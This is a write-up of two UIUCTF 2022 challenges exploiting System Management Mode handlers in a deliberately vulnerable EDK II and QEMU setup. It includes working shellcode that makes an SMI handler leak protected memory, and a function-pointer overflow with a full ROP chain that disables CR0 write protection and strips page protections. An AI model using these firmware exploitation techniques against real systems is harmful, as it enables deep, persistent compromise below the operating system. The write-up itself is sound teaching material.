TL;DR: Exploiting code running in System Management Mode (aka Ring -2)

Introduction

The past weekend I played UIUCTF 2022 with Shellphish. I mainly focused on SMM Cowsay 1 and 2, under the close supervision of the Intel machine Paul Grosen. We were able to solve both challenges, and actually to first blood both of them!

SMM

Just in case it wasn’t clear from the title, these challenges are both about System Management Mode. SMM has recently been under spotlight after folks at Binarly.io and SentinelOne found vulnerabilities in many OEM firmware drivers. I will not go too much into the details of SMM, but please check out OST2 Architecture 4001, since it has an entire chapter dedicated to SMM — kudos to Xeno Kovah for this amazing resource.

For the sake of this writeup, it’s just important to know that SMM is an operating mode of Intel processors. It is used for different firmware-level stuff, from advanced-power management to device emulation. The transition from any CPU mode to SMM happens when a System Management Interrupt (SMI) is delivered to the CPU: Operating Modes

This transition involves a process similar to a context-switch. When the CPU enters SMM it saves its state (registers) in the System Management RAM (SMRAM). The hardware then jumps to the SMI handler and, once the handler has completed its task, it executes the rsm instruction to re-load the state saved in SMRAM and it gives back control to the OS.

The good news is that most of this process is transparent, thanks to the UEFI firmware development environment TianoCore EDK II. I am not an UEFI expert, but to solve this challenge is enough to know that SMI Handlers register themselves during boot. Each SMI handler is identified by a given GUID, and to interact with them from non-SMM code we only need pass this GUID to some EDK II functions. The framework takes care of making our parameter accessible from SMM, but also of entering SMM and dispatching the execution to the correct SMI handler.

SMM Cowsay 1

One of our engineers thought it would be a good idea to write Cowsay inside SMM.
Then someone outside read out the trade secret (a.k.a. flag) stored at physical address 0x44440000,
and since it could only be read from SMM, that can only mean one thing: it... was a horrible idea.

$ stty raw -echo isig; nc smm-cowsay-1.chal.uiuc.tf 1337

The most important files in the handout are the following:

├── chal_build                  # Patches to EDK II and QEMU
│   ├── Dockerfile
│   └── patches
│       ├── edk2
│       │   ├── 0003-SmmCowsay-Vulnerable-Cowsay.patch
│       │   ├── 0004-Add-UEFI-Binexec.patch
│       └── qemu
│           └── 0001-Implement-UIUCTFMMIO-device.patch
├── edk2_artifacts              # Compiled UEFI Drivers
│   ├── Binexec.debug
│   ├── Binexec.efi
│   ├── SmmCowsay.debug
│   ├── SmmCowsay.efi
└── run                         # Script to start the challenge
    ├── region4
    └── run.sh

After running the challenge, we are asked to insert some shellcode which are promised it will be executed, as you can see in the following output:

pagabuc@kay~/$ bash run.sh
...
Shell> binexec
 ____________________________________________________________________
/ Welcome to binexec!                                                \
| Type some shellcode in hex and I'll run it!                        |
|                                                                    |
| Type the word 'done' on a seperate line and press enter to execute |
\ Type 'exit' on a seperate line and press enter to quit the program /
 --------------------------------------------------------------------
          \   ^__^
           \  (oo)\_______
              (__)\       )\/\
                  ||----w |
                  ||     ||

Address of SystemTable: 0x00000000069EE018
Address where I'm gonna run your code: 0x000000000517D100

After a quick review of the patches folder, we confirm that the challenge “entrypoint” is the Binexec driver. As shown below, this driver passes a pointer to the “Welcome to…” string to the Cowsay function. This function fills the EFI_SMM_COMMUNICATE_HEADER object with three values: the GUID of the cowsay SMM driver (stored in the field HeaderGuid), the pointer to the string (Data), and the size of the message (MessageLength). It then passes this object to the Communicate function, which will eventually take care of entering SMM and jumping to the correct SMI handler.

 Cowsay (
  IN CONST CHAR16 *Message
  )
{
  EFI_SMM_COMMUNICATE_HEADER *Buffer;

  Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + sizeof(CHAR16 *));
  Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid;
  Buffer->MessageLength = sizeof(CHAR16 *);
  *(CONST CHAR16 **)&Buffer->Data = Message;

  mSmmCommunication->Communicate(
    mSmmCommunication,
    Buffer,
    NULL
  );
}

 UefiMain (
  IN EFI_HANDLE        ImageHandle,
  IN EFI_SYSTEM_TABLE  *SystemTable
  )
{
  Cowsay(mIntro); // mIntro ->  Welcome to binexec!
   /* Read and execute our shellcode */
}
Parts of 0004-Add-UEFI-Binexec.patch

The “correct” SMI handler is shown below. As you can see, the function SmmCowsayHandler accepts CommBuffer and CommBufferSize as parameters; these correspond to the Data and MessageLength of the EFI_SMM_COMMUNICATE_HEADER object. This handler, after a couple of checks, passes the pointer stored at the beginning of CommBuffer to the Cowsay SMM function, which is the function that finally prints the message.

Cowsay (
  IN CONST CHAR16 *Message
  )
{
  /* This is where the Message is actually printed from SMM ! */
}

SmmCowsayHandler (
  IN EFI_HANDLE  DispatchHandle,
  IN CONST VOID  *Context         OPTIONAL,
  IN OUT VOID    *CommBuffer      OPTIONAL,
  IN OUT UINTN   *CommBufferSize  OPTIONAL
  )
{
  if (!CommBuffer || !CommBufferSize || *CommBufferSize < sizeof(CHAR16 *))
    return EFI_SUCCESS;

  Cowsay(*(CONST CHAR16 **)CommBuffer);
}
Parts of 0003-SmmCowsay-Vulnerable-Cowsay.patch

The road to solution for this challenge should be finally clear: let’s just ask SmmCowsayHandler to print the flag (stored at address 0x44440000)! At this point however you might be asking yourself: why do we need to mess with all this SMM thing? Since the challenge executes our shellcode.. can’t we just go and read the flag? After looking at the provided QEMU patches we have to turn down this idea, because the flag is stored in a MMIO device that returns the correct string only when the memory read operation is issued from SMM.

static MemTxResult uiuctfmmio_region4_read_with_attrs(
    void *opaque, hwaddr addr, uint64_t *val, unsigned size, MemTxAttrs attrs)
{
    if (!attrs.secure) // Are we outside SMM?
        uiuctfmmio_do_read(addr, val, size, nice_try_msg, nice_try_len); // FAKE Flag
    else
        uiuctfmmio_do_read(addr, val, size, region4_msg, region4_len);   // GOOD Flag
    return MEMTX_OK;
}
Parts of 0001-Implement-UIUCTFMMIO-device.patch

Solution

The laziest fastest possible way to solve this challenge would be to directly call the Cowsay function of the Binexec driver, and passing the address of the flag as a parameter. Unfortunately for us, the compiler inlined this function call. However, we can still use the code around address 0x173B of the Binexec.debug file as a reference. In short, the final shellcode does the following:

  1. Subtract 0x1d8a from the return address stored on the stack to calculate the base address of the Binexec driver, and save this address in r15

  2. Call InternalAllocateZeroPool to allocate some memory for EFI_SMM_COMMUNICATE_HEADER

  3. Fill EFI_SMM_COMMUNICATE_HEADER with the Cowsay GUID, the address of the flag, and the size of the message (8 bytes)

  4. Call Communicate and get the flag!

.intel_syntax noprefix
.global _start

_start:
        ; r15 = base address of binexec
        mov r15, [rsp]
        sub r15, 0x1d8a

        ; addr of InternalAllocateZeroPool
        mov rax, r15
        add rax, 0x115E
        mov esi, 0x21
        mov edi, 0x6
        call rax
        mov r12, rax

        ; GUID
        mov rax, [r15+0x3080]
        mov rdx, [r15+0x3088]
        mov [r12+0x0], rax
        mov [r12+0x8], rdx

        ; MessageLength and Data
        movq [r12+0x10], 8
        movq [r12+0x18], 0x44440001

        ; set up Communicate params
        mov rax, [r15+0x103118]
        mov rcx, rax
        mov rdx, r12
        xor r8d, r8d

        ; Call Communicate!
        call [rax]

        ret

Compile with the following:

  gcc -nostdlib shellcode.S -o shellcode
  objcopy -j .text -O binary shellcode shellcode.bin
  xxd -p shellcode.bin > shellcode.hex

The above shellcode will get you every other byte of the flag (uut{hnrn_eoi_nufcet3201}), since the message is a CHAR16 string but the flag is a “normal” CHAR8 string. Just change the address to 0x44440000 to leak the chars at odd positions (icfwe_igzr_sisfiin_55e8) and zip them to get the flag for SMM Cowsay 1: uiuctf{when_ring_zero_is_insufficient_35250e18}.

SMM Cowsay 2

We asked that engineer to fix the issue, but I think he may have left a backdoor disguised as
debugging code.

$ stty raw -echo isig; nc smm-cowsay-2.chal.uiuc.tf 1337

The non-SMM part of this second part is pretty much as before, except this time we pass to the SMM handler the actual message to print, not a pointer to it.

  Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + MessageLen);
  if (!Buffer)
    return;

  Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid;
  Buffer->MessageLength = MessageLen;
  CopyMem(Buffer->Data, Message, MessageLen);

  mSmmCommunication->Communicate(
    mSmmCommunication,
    Buffer,
    NULL
  );
Parts of 0004-Add-UEFI-Binexec.patch

On the other hand, this SMM handler is quite different. It stores a random canary in mDebugData.Canary, and it calls the function SmmCopyMemToSmram to copy the supplied message in mDebugData.Message. Finally, after a couple of checks, it calls the function stored in mDebugData.CowsayFunc (which is initialized to the SMM Cowsay).

Upon a closer look at the SmmCopyMemToSmram call, we quickly realized that here is where the vulnerability is, since CommBuffer and CommBufferSize are under our control. This means that by supplying a large enough string we can write past the Message field.. and what’s after this field? A function pointer!

struct {
  CHAR16 Message[200]; // This is 400 bytes, not 200!
  VOID EFIAPI (* volatile CowsayFunc)(IN CONST CHAR16 *Message, IN UINTN MessageLen);
  BOOLEAN volatile Icebp;
  UINT64 volatile Canary;
} mDebugData;

SmmCowsayHandler (
  IN EFI_HANDLE  DispatchHandle,
  IN CONST VOID  *Context         OPTIONAL,
  IN OUT VOID    *CommBuffer      OPTIONAL,
  IN OUT UINTN   *CommBufferSize  OPTIONAL
  )
{
  UINT64 Canary;

  Canary = AsmRdRand64();
  mDebugData.Canary = Canary;

  SmmCopyMemToSmram(mDebugData.Message, CommBuffer, CommBufferSize); // <--- VULN

  if (mDebugData.Canary != Canary) {
    // We probably overrun into libraries. Don't trust anything. Make triple fault here.
  }

  if (mDebugData.Icebp) {
    // If you define WANT_ICEBP in QEMU you actually get a breakpoint right here.
    // Have fun playing with SMM.
    __asm__ __volatile__ (
      ".byte 0xf1" // icebp / int1
      : : : "memory"
    );
  }

  SetMem(mDebugData.Message, sizeof(mDebugData.Message), 0);
  mDebugData.CowsayFunc(CommBuffer, CommBufferSize);

out:
  DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n"));
  return EFI_SUCCESS;
}
Simplified SMI Handler, adapted from 0003-SmmCowsay-Vulnerable-Cowsay.patch

Debugging

Before we delve in our exploitation strategy, I want to spend some time to discuss how to setup a proper debugging environment. QEMU has the flag -s -S and gdb has target remote, but where should we put a breakpoint to debug SMM code? Fortunately for us, the SMM handler above contains a breakpoint functionality (icebp). If we craft a message that contains a non-zero value at offset 408, the SMI handler will execute this breakpoint. After sending this message, GDB will trap in SMM (you can double check this by searching for “SMM=1” in the output of “info register” in the QEMU Monitor):

   0x7ee927a:   je     0x7ee927d
=> 0x7ee927c:   int1
   0x7ee927d:   lea    rax,[rip+0x2fdc]        # 0x7eec260

As a side node, QEMU does not support this instruction by default, so I had to recompile it: after downloading the QEMU sources, I grepped for “WANT_ICEBP”, removed the #ifdef and rebuilt QEMU.

#ifdef WANT_ICEBP
    case 0xf1: /* icebp (undocumented, exits to external debugger) */
        gen_svm_check_intercept(s, pc_start, SVM_EXIT_ICEBP);
        gen_debug(s, pc_start - s->cs_base);
        break;
#endif
Snippet from 'qemu-5.0.0/target/i386/translate.c'

Finally, since this will likely turn into ROPping our way to the flag, I wrote this simple GDB script to dump all the mapped pages and find the address of any ROP gadget we will need.

Exploitation

After crafting a message that is 408 bytes long, I put a breakpoint at the mDebugData.CowsayFunc callsite (address 0x7ee92c5) to inspect the program state. Since UEFI uses the Microsoft calling convention, rcx will contain a pointer to CommBuffer, while rdx is CommBufferSize.

In short, we used the following exploit strategy to solve the challenge:

  1. Find a gadget that moves rcx to rsp, so we can do stack pivoting

  2. Clear CRO.WP, since the next step will modify the page tables, otherwise it will fail

  3. Call SmmClearMemoryAttributes(0x44440000, 0x1000, EFI_MEMORY_RP) to remove the Read Protection (check the file 0005-PiSmmCpuDxeSmm-Protect-flag-addresses.patch)

  4. Call Cowsay(0x44440000, 60) to dump the flag and profit!

With the help of Ropper and ropr we find all the gadgets we need to perform these 4 steps, except the stack pivoting one that was found manually by Paul (probably after staring for just 5 minutes at the output of xxd SmmCowsay.efi).

Overall, the following are the highlights of the final exploit:


     ; MessageLength
     mov qword ptr [r12+0x10], 416

     ; Data
     mov rcx, 400
     lea rdi, [r12+0x18]
     lea rsi, [rip + rop_chain]
     rep movsb

     ; This will overwrite the function ptr CowsayFunc.
     ; The address points to the stack pivot gadget.
     mov [r12+0x18+400], 0x7fcc068

     ; set up Communicate param + call [rax], as before
...

rop_chain:
    .long 0xAABBCCDD
    .long 0x11223344

    .quad 0x7f8a184 // pop rax; ret
    .quad 0x80000033
    .quad 0x7fcf6ef // mov cr0, rax; ret

    .quad 0x7f8ea1c // pop rdx; pop rcx; pop rbx; ret
    .quad 0x1000
    .quad 0x44440000
    .quad 0xAABBCCDD

    .quad 0x7f84129 // pop r8; xor eax, eax; pop rsi; pop rdi; ret;
    .quad 0x2000ULL // EFI_MEMORY_RP
    .quad 0xAABBCCDD
    .quad 0xAABBCCDD
    .quad 0x7fc6743 // SmmClearMemoryAttributes

    .quad 0x7f8ea1c // pop rdx; pop rcx; pop rbx; ret
    .quad 0x60
    .quad 0x44440001
    .quad 0xAABBCCDD

    .quad 0x7ee9463 // CowSay
rop_chain.end:

As with SMM Cowsay 1, don’t forget to leak the odd indexes of the flag, and zip the two parts to get the final flag uiuctf{dont_try_this_at_home_I_mean_at_work_5dfbf3eb}.

Conclusions

What a fun challenges. I really like challenges divided in multiple steps, were you keep refining some knowledge about a system to solve increasingly difficult problems. Finally, these systems challenges are definitely my favorite… I always end up going down several rabbit holes that make me learn about interesting low-level concepts.

Thanks to YiFei Zhu for these great challenges!